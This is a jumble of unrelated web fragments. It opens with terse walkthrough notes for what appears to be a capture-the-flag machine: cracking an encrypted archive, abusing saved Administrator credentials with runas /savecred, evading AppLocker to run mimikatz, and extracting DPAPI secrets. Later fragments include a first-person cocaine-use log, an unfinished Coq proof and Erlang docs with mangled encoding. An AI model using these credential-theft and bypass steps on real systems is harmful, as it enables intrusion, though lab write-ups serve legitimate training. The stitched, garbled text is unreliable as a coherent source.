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谁是最有基础的人？
答对了！
{{person.name}} lives in {{person.city}}
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FTP share with anonymous
Encrypted ZIP and access database
Database gives creds for ZIP
Zip gives exchange mailbox
User and pass for machine
Credentials stored in the Data Protection API from runas /savecred
wget -m --no-passive ftp://anonymous:anonymous@<ip>
to download all files (mirror)
passive mode was failing, so pass --no-passive mode
Telnet service using authentication
Can use 7z to see more information about password protected archives
7z l -slt <>.zip (7z L not i)
Path = Access Control.pst
Encrypted = *
Method = AES-256 Deflate
Zip2John <>.zip > crackme.hash
john --wordlist=rockyou.txt crackme.hash
Looking at Microsoft Access Database backup.mdb
Can strings to see it's not encrypted
strings -n 8 Access Database.mdb | sort | uniq > custom_wordlist
john --wordlist=custom_wordlist crackme.hash
Cracks with data from the database!
Can also interact with the access database using other tools to read the password
apt install mdbtools
mdb-sql backup.mdb
=> list tables
=> go
for i in $(mdb-tables backup.mdb); do mdb-export backup.mdb $1 > tables/$i; done
wc -l * | sort -n
cat auth_user
See usernames and passwords!
readpst Access Control.pst
converts it into an mbox file
less Access Control.mbox to start reading emails
A username and password! Try to log in to telnet now
JAWS script (just another windows script) is able to enumerate stored credentials,
Administrator creds are stored!! (cmdkey /list)
See program FPSensor
See C:\Users\security\.yawcam with full access
Parse a shortcut with powershell
> $wscript = New-Object -ComObject Wscript.Shell
> $shortcut = Get-ChildItem *.lnk
> $wscript.createshortcut($shortcut) #will just print shortcut information
FullName
Arguments /user:ACCESS\Administrator /savecred "C:\ZKTeco\ZKAccess3.5\Access.exe"
TargetPath
etc
Can now just run any command with runas /savecred (ie powershell revshell or otherwise as Administrator)
If you want the Admin password, you can run a tool like mimikatz.
Mimikatz is blocked by AppLocker policy, so a quick workaround is to copy the program into:
C:\Windows\System32\spool\drivers\color\
and run it from there
.\mimikatz.exe
If that fails, look at other bypasses or AMSI bypasses
Can run from meterpreter or empire
In meterpreter, migrate to x64 bit process
> load kiwi
> kiwi_cmd '"dpapi::masterkey /in:\users\security\appdata\Roaming\Microsoft\Protect\<SID>\<Filename> /sid:<SID> /password:<users_password>"'
> kwi_cmd '"dpapi::cred /in:<\users\security\appdata\Roaming\Microsoft\Protect\<SID>\<Filename>


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Objective-C is an incredibly flexible language, but there are a few things I don’t think it handles very elegantly - private methods are one of those things. Private methods are important when designing your classes - keeping the implementation of your methods separate to the interface that users of your class see is good practice, and lets you change the way you implement things in future without making users of your class change their code.
Objective-C has a great feature known as categories. In the words of Scott Stevenson, “a category allows you to add methods to an existing class without subclassing it or needing to know any of the details of how it’s implemented”. My private methods are implemented using an anonymous category on each class. These are also known as “Class Extensions” and they look like this in my .m
file:
You’ll notice that I preface my private methods with the name of the current class - I do this to avoid method name collisions with subclasses. It’s not strictly necessary, but it means I don’t have to think as hard when implementing subclasses of my class.
You can do everything you would in a normal class except declare new instance variables. I often use my class extensions to redeclare a public readonly
property as readwrite
within the confines of the class instance. Another common use in my code are the following two methods:
These methods are used to set up and tear down any Key/Value Observers and bindings for the current class. I use these so often that I’ve put together an Xcode class template so that they are included in my classes by default.
Please keep in mind that Objective-C has no true implementation of private methods - other classes can use these “private” methods if they know the structure of the method in question. With that said, I still believe this is a great way to keep your implementation as clean as possible.
Both Paul and Collin make good points in the comments - you can just declare your private methods inline in your class without using an anonymous category. That will work so long as the declaration occurs before the first use of the method. In my mind, there are two good reasons to use a category:


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The Ultimate Way For Booking Movie Tickets
Home
|
About Us
|
Contact Us
|
Upcoming Movies
|
Personal information:
First name:
Date of bookings:
Price:
Select class:
platinum
gold
silver
Show time:
11 am
6 pm
10 pm
Total Price:


Angular Installation
- Download Node.js, you can download from nodejs.org
- Make sure you have the npm client installed, enter the command:npm -v in terminal
- Install the Angular CLI, you use npm to do this, enter the command: npm install -g @angular/cli
- To create a workspace, enter the command: ng new my-app
Laravel Installation
- Laravel has a few server requirments, so it is recommended to have the Laravel Homestead virtual machine
- Before installing Laravel, you need to download Composer. Use this link: https://getcomposer.org/download/
- Next enter this command into the terminal: composer global require laravel/installer
- Then you want to create a directory containing a Laravel installation with all of the dependencies. To do this enter the command: laravel new nameofdirectory (nameofdirectory is whatever you choose to name the directory)
- To use PHP's built-in development server enter the command: php artisan serve


This implementation guide is the first FHIR release of the HAI reporting profiles and is being balloted in the same cycle as the HL7 CDA® R2 Implementation Guide: NHSN Healthcare Associated Infection (HAI) Reports, Release 3, STU 3—US Realm.
The following table shows the mapping between FHIR Questionnaire items and the corresponding CDA templates
| FHIR Questionnaire Item | FHIR Questionnaire Item linkId | CDA Mapping |
| Facility ID | facility | ClinicalDocument/componentOf/encompassingEncounter/location/healthCareFacility/id |
| Event # | event-number | ClinicalDocument/componentOf/encompassingEncounter/id |
| Event Type | event-type | Infection-Type Observation/value |
| Date of Event | date-of-event | Infection-Type Observation/effectiveTime |
| Facility Location | facility-location | ClinicalDocument/componentOf/encompassingEncounter/location/healthcareFacility/code |
| Date Admitted to Facility | date-admitted-to-facility | ClinicalDocument/componentOf/encompassingEncounter/effectiveTime/low |
| Select: Inborn or Outborn | inborn-outborn-observation | Inborn/Outborn Observation |
| Patient | questionnaire-patient | ClinicalDocument/recordTarget |
| Risk Factors | risk-factors | Risk Factors Section (LOS/Men) |
| Central line present prior to event, including umbilical catheter | risk-factor-central-line | Infection Risk Factors Observation/value="1006-6" |
| Birth Weight (grams) | risk-factor-birth-weight | Infection Risk Factors Measurement Observation/value |
| Gestational Age | gestational-age | Gestational Age Observation/value |
| Event Details | event-details | Infection Details in Late Onset Sepsis Report |
| Specific Event | infection-condition | Infection Condition Observation/value |
| Laboratory Criteria Used | criteria-used | Criterion of Diagnosis Observation/value |
| Died | died | Death Observation in an Infection-type Report/value |
| Infection contrubuted to death | los-contributed-to-death | Infection Contributed to Death Observation |
| Discharge Date | discharge-date | ClinicalDocument/componentOf/encompassingEncounter/effectiveTime/high |
| Findings Group | findings-group | Findings Section in an Infection-Type Report |
| Pathogen Identified | pathogen-identified | Pathogen Identified Observation |
| Pathogen Ranking | pathogen-ranking | Pathogen Ranking Observation |
| Drug Susceptibility Test Group | drug-susceptibility-test-group | Drug Susceptibility Test Observation |
| Drug Susceptibility Test | drug-susceptibility-test | Drug-Susceptibility Test Observation/code |
| Drug Susceptibility Test Interpretation | drug-susceptibility-test-interpretation | Drug-Susceptibility Test Observation/interpretationCode |
| NHSN Comment | NHSN Comment | NHSN Comment Section/NHSN Comment |


About
Quick Links
So what’s ACF all about then?
Academic Competition Federation (ACF) is a non-incorporated, non-profit organization dedicated to providing high-quality quiz tournaments. We are entirely student and volunteer run. We pride ourselves on the highest standard of academic question writing and we keep the amount of pop culture (a.k.a. trash) or semi-academic questions to a minimum.
We offer three tournaments throughout the academic year:
- ACF Fall is an introductory-level event that is held in early November.
- ACF Regionals is a “regular difficulty” event that is held in January/February. It serves as a qualifier for ACF Nationals.
- ACF Nationals is the premier collegiate championship event. It is held in April. To participate in ACF Nationals, teams must qualify through their performance at ACF Regionals, or may apply for wildcard bids.
Who can play in ACF tournaments?
You and your teammates must be:
- all attending the same school
- all taking at least one class for credit during the school year.
If you are not sure whether you are eligible, refer to the official ACF eligibility rules or write to ACF’s eligibility committee.
“Mixed” teams (or “Masters” teams or “Chimera” teams), i.e. teams containing players not all from one school, or players who have graduated are not allowed to play. The head editor of the tournament may make an exception; however, these dispensations are made very limited circumstances. ACF reserves the right to disallow any team from playing at one of its tournaments.
How can I become an ACF Member?
We are always on the lookout for new editors. If you are interested in joining ACF, contact any one of the current ACF editors. You should be ready to show samples of your question-writing and/or editing work.


Beautiful 3bd/2ba 1784sqft home on 1/2acre. Newer home with modern features throughout. This home boasts gorgeous mountain views, large open kitchen with an island, fireplace, large laundry room, a fenced backyard and 2 car garage with additional carport as well. Extra perk that this home is on Erskine Creek Water!1,784 3 2
3353 Erskine Creek Road
Lake Isabella
CA
93240


{% extends 'layout.html' %} {% block pageTitle %} Adding CSS, JavaScript and Images - NHS.UK prototype kit {% endblock %} {% block beforeContent %} {% include "how-tos/includes/breadcrumb.html" %} {% endblock %} {% block content %}
The prototype kit comes with standard NHS.UK frontend styles and components for you to use in your prototypes. However if you need to add your own CSS (Cascading Style Sheets), JavaScript or images, use the /app/assets
folder.
The prototype kit processes all the files in the /app/assets
folder, and puts the processed files in /public
.
Do not change files in the /public
folder because it’s deleted and rebuilt every time you make a change to your prototype.
CSS lets you change how web pages look, for example text sizes, colours or spacing.
To add universal styles use:
/app/assets/sass/main.scss
Styles can also be added to individual templates via the "customStyles" template block:
{{'{% block customStyles %}'}}

{{'{% endblock %}'}}
Do not edit the file /public/styles/main.css
because it’s deleted and rebuilt every time you make a change to your prototype.
The prototype kit uses Sass, which adds extra features to CSS.
If you have a very long main.scss file, you can split it up into multiple files and import those into main.scss
. Use an underscore (_) at the start of the import file filenames, for example:
/app/assets/sass/_admin.scss
Import this file into your main.scss
file without the underscore:
@import "admin";
You can use JavaScript to make changes to a web page without loading a new one. For example a user could enter some numbers, then JavaScript displays the results of a calculation without loading a new page.
To add JavaScript use:
/app/assets/javascripts/main.js
Do not edit the file /public/javascript/main.js
because it’s deleted and rebuilt every time you make a change to your prototype.
If you add images to /app/assets/images
the prototype kit will copy them to /public
.
For example if you add an image:
/app/assets/images/user.png
Use it in your page like this:

Use ‘alt’ text to describe the image for screen readers.
Do not put files directly in /public
because it’s deleted and rebuilt every time you make a change to your prototype.
If you need to use other files in your prototype, you can add them to /app/assets
and the prototype kit will copy them to /public
. You can use sub-folders in the assets folder.
For example if you add a PDF:
/app/assets/downloads/report.pdf
Link to it like this:
Download the report
Do not put files directly in /public
because it’s deleted and rebuilt every time you make a change to your prototype.


Copyright Š 2007, 2008 Tony Garnock-Jones and LShift Ltd. license Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.  IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ---------------------------------------------------------------------------
Authors: Tony Garnock-Jones (tonyg@kcbbs.gen.nz), LShift Ltd. (query@lshift.net).
References
An implementation of RFC 4627 (JSON, the JavaScript Object Notation) for Erlang.
The basic API is comprised of the encode/1
and decode/1
functions.
The data type mapping I've implemented is as per Joe Armstrong's
message http://www.erlang.org/ml-archive/erlang-questions/200511/msg00193.html - see json()
.
When serializing a string, if characters are found with codepoint >127, we rely on the unicode encoder to build the proper byte sequence for transmission. We still use the \uXXXX escape for control characters (other than the RFC-specified specially recognised ones).
decode/1
will autodetect the unicode encoding used, and any
strings returned in the result as binaries will contain UTF-8
encoded byte sequences for codepoints >127. Object keys containing
codepoints >127 will be returned as lists of codepoints, rather
than being UTF-8 encoded. If you have already transformed the text
to parse into a list of unicode codepoints, perhaps by your own use
of unicode_decode/1
, then use decode_noauto/1
to
avoid redundant and erroneous double-unicode-decoding.
Similarly, encode/1
produces text that is already UTF-8
encoded. To get raw codepoints, use encode_noauto/1
and
encode_noauto/2
. You can use unicode_encode/1
to
UTF-encode the results, if that's appropriate for your application.
I'm lenient in the following ways during parsing:
json() = jsonobj() | jsonarray() | jsonnum() | jsonstr() | true | false | null
An Erlang representation of a general JSON value.
jsonarray() = [json()]
A JSON array value.
jsonkey() = string()
A field-name within a JSON "object".
jsonnum() = integer() | float()
A JSON numeric value.
jsonobj() = {obj, [{jsonkey(), json()}]}
A JSON "object" or "struct".
jsonstr() = binary()
A JSON string value. type byte() = integer(). An integer >=0 and =<255.
| decode/1 | ĺ°jsonĺçŹŚä¸˛ăxmlĺçŹŚä¸˛ĺtuplelistč˝Źć˘ćjsonć°ćŽă. |
| encode/1 | ĺ°jsonć źĺźć°ćŽč˝Źć˘ćutf-8çźç ĺçŹŚä¸˛ă. |
| get_field/2 | čˇĺćĺŽjsonć°ćŽçćĺŽĺă. |
| get_field/3 | čˇĺćĺŽjsonć°ćŽçćĺŽĺďźčˇĺä¸ĺ°ćśčżĺćĺŽéťčŽ¤ĺźă. |
| get_value/2 | éčżJSčŻćłčˇĺjsonć°ćŽçćĺŽĺăĺŚewp_json:get_value("root.name", Obj). |
| mime_type/0 | čżĺjsonć°ćŽçMIMEçąťĺă. |
| set_field/3 | äżŽćšćĺŽjsonć°ćŽçćĺŽĺă. |
decode(Input::binary() | [byte()] | tuplelist()) -> {ok, json(), Remainder} | {error, Reason}
ĺ°jsonĺçŹŚä¸˛ăxmlĺçŹŚä¸˛ĺtuplelistč˝Źć˘ćjsonć°ćŽă
encode(X::json()) -> [byte()]
ĺ°jsonć źĺźć°ćŽč˝Źć˘ćutf-8çźç ĺçŹŚä¸˛ă
čˇĺćĺŽjsonć°ćŽçćĺŽĺă
čˇĺćĺŽjsonć°ćŽçćĺŽĺďźčˇĺä¸ĺ°ćśčżĺćĺŽéťčŽ¤ĺźă
éčżJSčŻćłčˇĺjsonć°ćŽçćĺŽĺăĺŚewp_json:get_value("root.name", Obj)
mime_type() -> string()
čżĺjsonć°ćŽçMIMEçąťĺă
äżŽćšćĺŽjsonć°ćŽçćĺŽĺă
Generated by EDoc, Nov 13 2013, 14:33:49.


A differential equation is an equation that involves derivatives of an unknown function that we would like to find. For example, the aim of solving the differential equation \[ \frac{d}{dx}y(x) = x^2 y(x) \] is to find an expression for the dependent variable y in terms of the independent variable x.
If the equation involves functions of more than one variable and their partial derivatives, it is a partial differential equation. If it involves only ordinary derivatives with respect to a single independent variable, it is an ordinary differential equation. Ordinary differential equations are the subject of this section.
The order of a differential equation is the order of the highest derivative that appears in it. Assuming that \( a(x) \) is not identically equal to zero, the derivative of highest order in equation above is \( d^2y/dx^2 \), so this equation is of second order.
A linear differential equation is one that can be written in the form \[ \hat{L} y(x) = f(x), \] where \( \hat{L} \) is a linear differential operator — that is, one that can be expressed as \[ \hat{L} = \sum_{n=0}^N a_n(x) \frac{d^n}{dx^n}, \] where \( a_n(x) \) are functions of \( x \) and \( n \in \mathbb{Z} \). The crucial feature of a linear differential operator is that it gives \[ \hat{L}(\alpha y_1(x) + \beta y_2(x)) = \alpha \hat{L} y_1(x) + \beta \hat{L} y_2(x) \] for any smooth functions \( y_1(x) \) and \( y_2(x) \) and any constants \( \alpha \) and \( \beta \).
We are usually interested in the special case of second-order linear differential equation that arises when \( f(x)=0, \forall x \), called homogeneous. The distinguishing feature of a homogeneous equation is that each of its terms is proportional to \( y \) or one of its derivatives. The simplest case occurs when the coefficients, \( a \), \( b \) and \( c \) are constants. We then have a second-order linear homogeneous equation with constant coefficients.
In general it is found that a given differential equation is satisfied by a family of functions that can be described by a single comprehensive formula involving arbitrary constants. A solution to a differential equation of order \( n \) contains \( n \) arbitrary constants. The arbitrary constants do not appear in the differential equation itself but serve to distinguish one solution from another.
The solution that includes the arbitrary constants is called the general solution of the differential equation, while a solution that corresponds to a particular choice of arbitrary constants is called a particular solution. In a given physical situation, we may have enough additional information to determine the values of the arbitrary constants.
If \( y_1(x) \) and \( y_2(x) \) are two solutions of a linear homogeneous differential equation, we have \[ \hat{L} y_1(x) = 0 \text{ and } \hat{L} y_2(x) = 0, \] so it follows that \[ \hat{L}(\alpha y_1(x) + \beta y_2(x)) = \alpha \hat{L} y_1(x) + \beta \hat{L} y_2(x) = 0 \] for any constants \( \alpha \) and \( \beta \). Thus, any linear combination of solutions is also a solution of the differential equation. This fact is called the principle of superposition.
In this section we will consider a general second-order linear differential equation taking the form \[ a(x) \frac{d^2}{dx^2} y(x) + b(x) \frac{d}{dx} y(x) + c(x) y(x) = f(x). \]


Library lv_no_2020_12_1
Back to Coq Main Page
See LV Regional
Olympiad Problems.
Problem:
The sequence (x_n) is defined by a recurrence: x_1 = 1, x_2 = -3,
x_3 = -29 and x_{n+3} = 9x_{n+2} - 26x_{n+1} + 24x_n for all
positive integers n.
Prove that x_n = 2^n + 3^n - 4^n
for all positive integers n.
LV.NO.2020.12.1
Require Import Nat.
Require Import PeanoNat.
Require Import Arith Psatz.
Require Import ZArith.
Require Import Znumtheory.
Require Import BinInt.
Open Scope Z_scope.
Fixpoint SeqC (k : nat):Z :=
match k with
| 0%nat => 1
| 1%nat => 1
| 2%nat => -3
| 3%nat => -29
| (S k') => 9*(SeqC k') - 26*(SeqC (pred k')) + 24*(SeqC (pred (pred k')))
end.
Locate "^".
Theorem lv_no_2020_12_1: forall n:nat,
SeqC n = 2^(Z.of_nat n) + 3^(Z.of_nat n) - 4^(Z.of_nat n).
Proof.
Admitted.
Close Scope Z_scope.


| DOSE: |
6 lines |
insufflated |
Cocaine |
(powder / crystals) |
| |
2 lines |
insufflated |
Cocaine |
(powder / crystals) |
This was far from my first time using cocaine... I'd had it perhaps 2 dozen times since 1990... but this time I decided to try and document the effects as they occured.
Nov. 23, 1997
-------------
11:27pm:
I just cut out two medium-to-small sized lines of cocaine. I've
already had about 6 or 7 lines over the past 3 hours or so, the last
being a little over an hour ago. I smoked a bowl of pot about 45 minutes
ago, but its effects are pretty much unnoticeable, except maybe a slight
reduction in the edginess of the cocaine effects. I'm definately still
feeling the effects, although I'm in the come-down stage at present. The
next 2 lines should give me a pretty typical high-dose cocaine experience.
At present, I feel contradictorally wired and tired. I feel as if I could
fall asleep if I wanted, although from experience I know I couldn't yet. I
feel a warm fuzzy feeling all over my body, similar to the feeling of the
second wind you get when you stay up all night, but there is also a mild
feeling of stimulant tension. Euphoria has definately long since passed.
Cocaine makes me dehydrated, and this manifests itself primarily in the
feeling of dry mouth.  It's not really a conscious thing. Its a bad thing,
actually, as it makes the dry mouth worse, and sometimes will leave my
mouth feeling uncomfortable the next day. I'm going to finish my
cigarette, then do these lines.
11:33pm:
I snort the lines, and immediately feel both euphoria, and a
passing urge to get the rest of my coke out and do more. I get the urge to
smoke a cigarette, so I do. The high intensifies for a minute or two then
levels. I'm mildly euphoric, but very stimulated. Its a distinct
stimulation, more like amphetamines than caffeine. But definately
different.  I notice myself
typing alot harder, but pausing more between sentences. The urge to smoke
my cigarette is overwhelming. There is a warm feeling along my spine.
Mentally, I feel both calm and stimulated, somewhat paradoxically. If
there were people here, I'd be talkative.
11:38pm:
I am feeling a barely perceptible decrease in the high, and decide
to stop typing for a little bit to enjoy it, probably with another
cigarette.  Laying down,
I felt very calm, and as if my body were floating. The peak wore off
gradually, and not evenly. I would alternate between feeling come-down
effects and peak effects, with the come-down periods becoming longer and
more frequent.
The euphoria is mostly gone now, and the thoughts of doing more
coke are a little more frequent and longer, but are nowhere near
irresistable. Simply being aware of the craving seems to make it go away.
I took a multivitamin just now, which I always do before bed anytime I do
any drugs outside of my usual ones (pot, tobacco, and caffeine). It
generally reduces day-after fatigue. The stimulation is still quite
strong, and more amphetamine-like, although it is beginning to fade into
the post-peak mellowness of cocaine. I am almost back to the point I was
when I began writing this.
Physically, the dry-mouth has become more noticable again.  I snorted a few drops of warm water to
help clear out my nose, which helped significantly. I can still
occasionally taste cocaine in the back of my throat if I snort or breath
deeply through my nose.
12:05am:
I'm basically back to where I was at the beginning now. I feel
calm and quiet. I don't really feel bad, although there have been times
when I've felt quite depressed and physically worn when I've done alot of
cocaine in a short time. I feel physically worn out, and mentally a little
tired, but its definately not a bad thing - basically like being
overtired, despite the fact that I know I could not fall asleep right now.
I've probably done about 1/2 gram over the course of about 4 hours, which
although is alot, is nowhere near the most I've done; that would probably
be about 1.5 grams over 2 or 3 hours. Aside from the two lines I did while
writing this, I used the cocaine in a social setting tonight, with a girl
and a guy I'm friends with. Its when doing it alone that I'll sit there
and do line after line until it's gone or I just can't take anymore.
I plan on smoking a small bowl of pot to relax, and write a little
more. I'm going to take a 3mg melatonin tablet and probably a shot of
tequila before I go to bed, to counteract the stimulant effect that would
keep me from sleeping. I'll still probably be unable to sleep for about an
hour, perhaps more, but it will definately help, though it will probably
make me groggier tomorrow.
Overall, it was an enjoyable experience, but not outstandingly so.
Cocaine simply isn't my drug of choice. I'm glad I did it, but it'll
probably be a while before I do it again.
12:16am:
I take my melatonin, and take a hit off my bowl. This experiment
is at an end.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


What we’re doing there
Previously this system has been made by Anton Gladkov and Vyacheslav Trushkin for Aviasales, when we built up a Business Development dept. from the ground there. It has had a huge success in Aviasales - sales grew up to the sky - so we decide to give our system to other companies. Within the next 10 months more than ten huge international companies tried Feasy (previously it was named Overdue Deals) and increased their sales rates for averagely 8-12 times. Not percents - they multiplied rates by 8-12 times! Konstantin Kalinov (founder of Aviasales and Go Travel Un Limited holding) told us that we have to make a global product of this tool, coz it rocks. That's what we are doing.
The system is very easy to use, even monkey can manage its deals with feasy (we tried few times, no monkeys been injured).
At the same time we are giving to a company management a brilliant tool to see exactly what is happening in a moment of time, regardless the size of a sales crew. You can have a clearest picture of what's happening and manage things as easy as having a glass of beer. It's a wonderful feeling guys, just try that.


CHINESE BOX
Reviewed by Harvey Karten, Ph.D. Trimark Pictures Director: Wayne Wang Writer: Jean-Claude Carriere, Larry Gross Cast:Jeremy Irons, Gong Li, Maggie Cheung, Ruben Blades
Whatever the virtues of lack of same in Wayne Wang's movie, "Chinese Box," the film is valuable because like Haskell Wexler's "Medium Cool," the drama is told against a background of a turning point in history. Wexler's film, which featured the newly-discovered Robert Foster, portrays a TV cameraman who is detached although surrounded by events demanding his involvement, and uses real footage of his actors at the 1968 Democratic National Convention. Wang's current movie is a tale of an increasingly resigned British journalist-photographer whose final months in Hong Kong are played out against a background of the island's imminent takeover by the government of Mainland China during the first half of 1997.
Wang is for the most part as laid-back in his direction of this seemingly improvised piece as he was at the helm of his more accessible (to Americans) "Smoke" and "Blue in the Face," both humorous character studies of typical denizens of Brooklyn and parts of Manhattan. (Educated in British and American schools, the director's fondness for things American is no secret: he is, in fact, named after John Wayne.) The freewheeling director's current effort is not particularly noteworthy for incisive dialogue but more notable in its evocation of the atmosphere of one of the world's great tourist destinations which, for the time being, is being governed with a hands-off attitude by the Chinese government. The major flaw in "Chinese Box" is its heavyhanded manipulation of metaphors, not just in some of the expressions tossed about such as comparing Hong Kong to "Pompeii before Vesuvius," a "department store under new management," and "a whore who must become accustomed to a new pimp," but principally in its use of one female character who, presumably like the city, is scarred on the outside but reckless beneath the surface.
If one line defines the drama, it's a humorous one tossed off by a gypsy-like journalist, Jim (Ruben Blades), who is temporarily sharing the flat of his photojournalist friend, John (Jeremy Irons). Offered a bottle of cheap wine which Jim defines as "Chateau Hong Kong 1997," John replies, "It was a good year...no doubt about it." The irony of the remark is palpable. 1997 is the year of uncertainty and anxiety. The British, ruling the place for a century and half, are scheduled to leave on July 1, the future of the foreign journalists is uncertain, and worst of all, the leukemia-afflicted John is not expected to survive to see another year. For the past year John has been in love with Vivian (Gong Li), once a high- class prostitute who is involved with prosperous businessman Chang (Michael Hui). Vivian wants to marry Chang but is rebuffed because the Chinese culture looks askance at women with her background. John is able to enjoy Vivian from time to time, however, as the beautiful former "hostess" seeks him out each time her boyfriend puts her off.
 Fascinated by her interesting albeit heavily scarred face and her impulsive, tension-filled bearing, he pays her for a videotaped interview but learns through old newspaper clippings that she is hiding one key detail. When she was sixteen, she fell in love with a young Briton, was forbidden by her father from seeing him, and attempted suicide.
Each time the loosely constructed story seems to have no place to go, Wang's regular cinematographer, Emir Kusturica, runs his hand-held camera to the outside world. We see glimpses of both the prosperity and the poverty of the island, fishing boats competing with glass skyscrapers for our attention, as people go about their jobs slaughtering chickens, cutting up fish, hawking food in the marketplace or enjoying the sensual dances of women in upscale night clubs. Kusturica includes some precious shots of the departure of the British, some with tears in their eyes, and the arrival in tanks of thousands of young soldiers from the mainland to the cheers of hordes of citizens. (In two cases dissenters show their disapproval of the change of government; one by shooting himself in the presence of New Year's Eve revelers in a classy club, the other by torching himself on the street.)
The principal chemistry in the movie is, unfortunately, not between Irons and Li, both of whom seem to be holding themselves back as though unable to transcend their cultural differences, but between Irons and his guitar-playing roommate, Jim. Ruben Blades provides the needed comic moments in this meandering tale whose principal value is not as a romance or as a study of a dying man's attempt to express his love, but as a docu-drama recording the changing of the guard over what is perhaps the world's most capitalistic enclave. The outdoor sequences might have come from the pen of Paul Theroux, one of the scripters and America's most notable travel writer. While "Chinese Box" is far better than Wang's only failure, "Slam Dance," it does not rise to the heights of his best work, "Dim Sum," a delicate reflection on family values filmed in San Francisco. Not Rated. Running time: 109 minutes. (C) Harvey Karten 1998
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


My name is Joshua Ji and I am a graduating senior at the University of Washington. I am studying Geography with Data Science with a focus in GIS. I am an aspiring Data Scientist and have a strong passion in working with numbers. Please do reach out if you want to know more about me!
These are a few projects that I have been a part of. I am also very interested in any opportunity to collaborate on new projects!
This is a project I am currently involved in (led by Profeesor Zhao Bo). This online interactive map enables users to track both the global and local trends of Novel Coronavirus infection since Jan 21st, 2020. link
These are some project reports I have written that features my data managment and analysis skills. I collected, manipulated, analyzed and visualized data sets and drew connections to provide arguments concerning the COVID-19 pandemic. (full paper can be found here)


CGK design
Apple Computor history
mac History
Apple Watch History
iPad History
Apple
this is one of my favorite stampy hunger games


Proceed ashore and check in with Customs and Immigration which is based in 3 modified white containers at the head of the main town dock (see the large "Customs" sign). The office is normally open 08:00-16:00, although there is often someone around out of hours.
Clearance is reported to be easy and straightforward with no fees. For a short stay officials will clear you out at the same time.
Now Statia is part of the Netherlands, the eSeaClear computer system is not being used.
Currently Dutch officials are much in evidence and will sometimes board to check papers and equipment.
Last updated December 2014.
Passports required for all visitors.
Visa are not required for citizens of most western and northern European countries, Australia, New Zealand, Canada and the USA, but there is a long list of other countries for which they are required. Check Statia website for a complete list.
Although Statia is now a municipality of the Netherlands, it is not part of the European Union nor part of the Schengen Agreement Area.
Last updated December 2014.
Statia is no longer a duty-free port.
Last updated December 2014.
There are two decompression chambers on Statia
There are no clearance fees.
Statia Marine Park charges US$10 per day (US$30 per week), which includes the use of a buoy. Pay at the Marine Park office, and be sure to tell them about the poor state of the mooring buoys.
Last updated January 2013.
Diving is only allowed if you are accompanied by someone from the local dive centre.


File Cacher
Click on a file to cache for offline use. Don't forget to cache their dependencies!
Back to /all/
Show:
HTML
images
everything else


{% load i18n wagtailadmin_tags %} {% if media_files %} {% if is_searching %}
{% blocktrans %}You haven't uploaded any media files in this collection. You can upload audio or video files.{% endblocktrans %}
{% else %}{% blocktrans %}You haven't uploaded any media files. You can upload audio or video files.{% endblocktrans %}
{% endif %} {% endif %} {% endif %}


Getting data
These functions will give you data pulled from the API. The also make it easy to save this data to CSV files, usually using a save = TRUE argument.
|
|
volume_sentiment_metric()
|
Returns the data for creating volume/sentiment charts |
|
time_of_day_metric()
|
Get data for determining the best time of day to post (by hour) |
|
day_of_week_metric()
|
Get data for determining the best day of the week to post |
|
stats_metric()
|
Gets the 'stats metric' for a given filter |
|
sites_metric()
|
Gets the 'stats metric' for a given filter |
|
sentiment_metric()
|
Returns the data for sentiment chart |
|
wordcloud_metric()
|
Pulls breakdown of volume by keyword |
|
gender_metric()
|
Fetch gender data |
|
race_metric()
|
Fetch race data |
|
authors_metric()
|
Gets the 'authors metric' for a given filter |
|
returning_authors()
|
Checks whether authors from current filter appeared in a previous filter |
|
returning_authors_metric()
|
Returns a breakdown of new vs returning authors |
|
topics_metric()
|
Gets the Topics for a given filter |
|
locations_metric()
|
Gives information grouped by country |
|
regions_metric()
|
Gives information grouped by region |
|
cities_metric()
|
Gives information grouped by city |
|
brand_metric()
|
Returns data grouped by brand |


Time: 0
Answer the following JavaScript related questions within the time limit. Incorrect answers will penalize your remaining time by five seconds.
Your final score is
Enter initials:


This page will list different places to purchase soccer equipment like:
Descriptions and prices will be posted. A trusted 3rd party API will use to populate data.


This documentation tells you how to write Chrome Apps. All developers, however, should know that the new APIs for Chrome Apps are being released as a developer preview. This means that they are evolving daily, and anything you read now might be different in the near future. Please keep up to date with the API reference and documentation.
Note: If you've written packaged apps before, your legacy packaged apps will still work the way they always have, but they won't have access to the new APIs.
Chrome Apps and extensions share a common platform. They can access many of the same APIs and they have the same manifest and permissions format. If you're familiar with the Chrome Extension docs, then the Reference docs should seem familiar. Many of the reference docs are shared; we've filtered accessibility to docs that aren't.
For Chrome Apps to succeed, we need and want your feedback. You can enter feedback at the chromium-apps group, file a bug at the official issue tracker, or press "Send Feedback" at the bottom of every doc page.


Image manipulated through stylesheet display:none for an image rather than a class
This page includes an image in an open paragraph , and allows to assess whether the browser rendering it loads the said image or not (through CSS display:none in a stylesheet).


And you taught me what this feels like.
And then how it feels to lose it.
And you showed me who I wanted.
And then who I wasn't.
And you ticked every box.
And then drew a line.
And you weren't mine to begin with.
And then not to end with.
And you looked like everything I wanted.
And then became something I hated.
And you get thought of every day.
And then not in a good way.
And you let me leave.
And then wish I'd stayed.

But I didn't die ...


Library: Foundation
Package: Core
Header: Poco/MemoryPool.h
Description
A simple pool for fixed-size memory blocks.
The main purpose of this class is to speed-up memory allocations, as well as to reduce memory fragmentation in situations where the same blocks are allocated all over again, such as in server applications.
All allocated blocks are retained for future use. A limit on the number of blocks can be specified. Blocks can be preallocated.
Member Summary
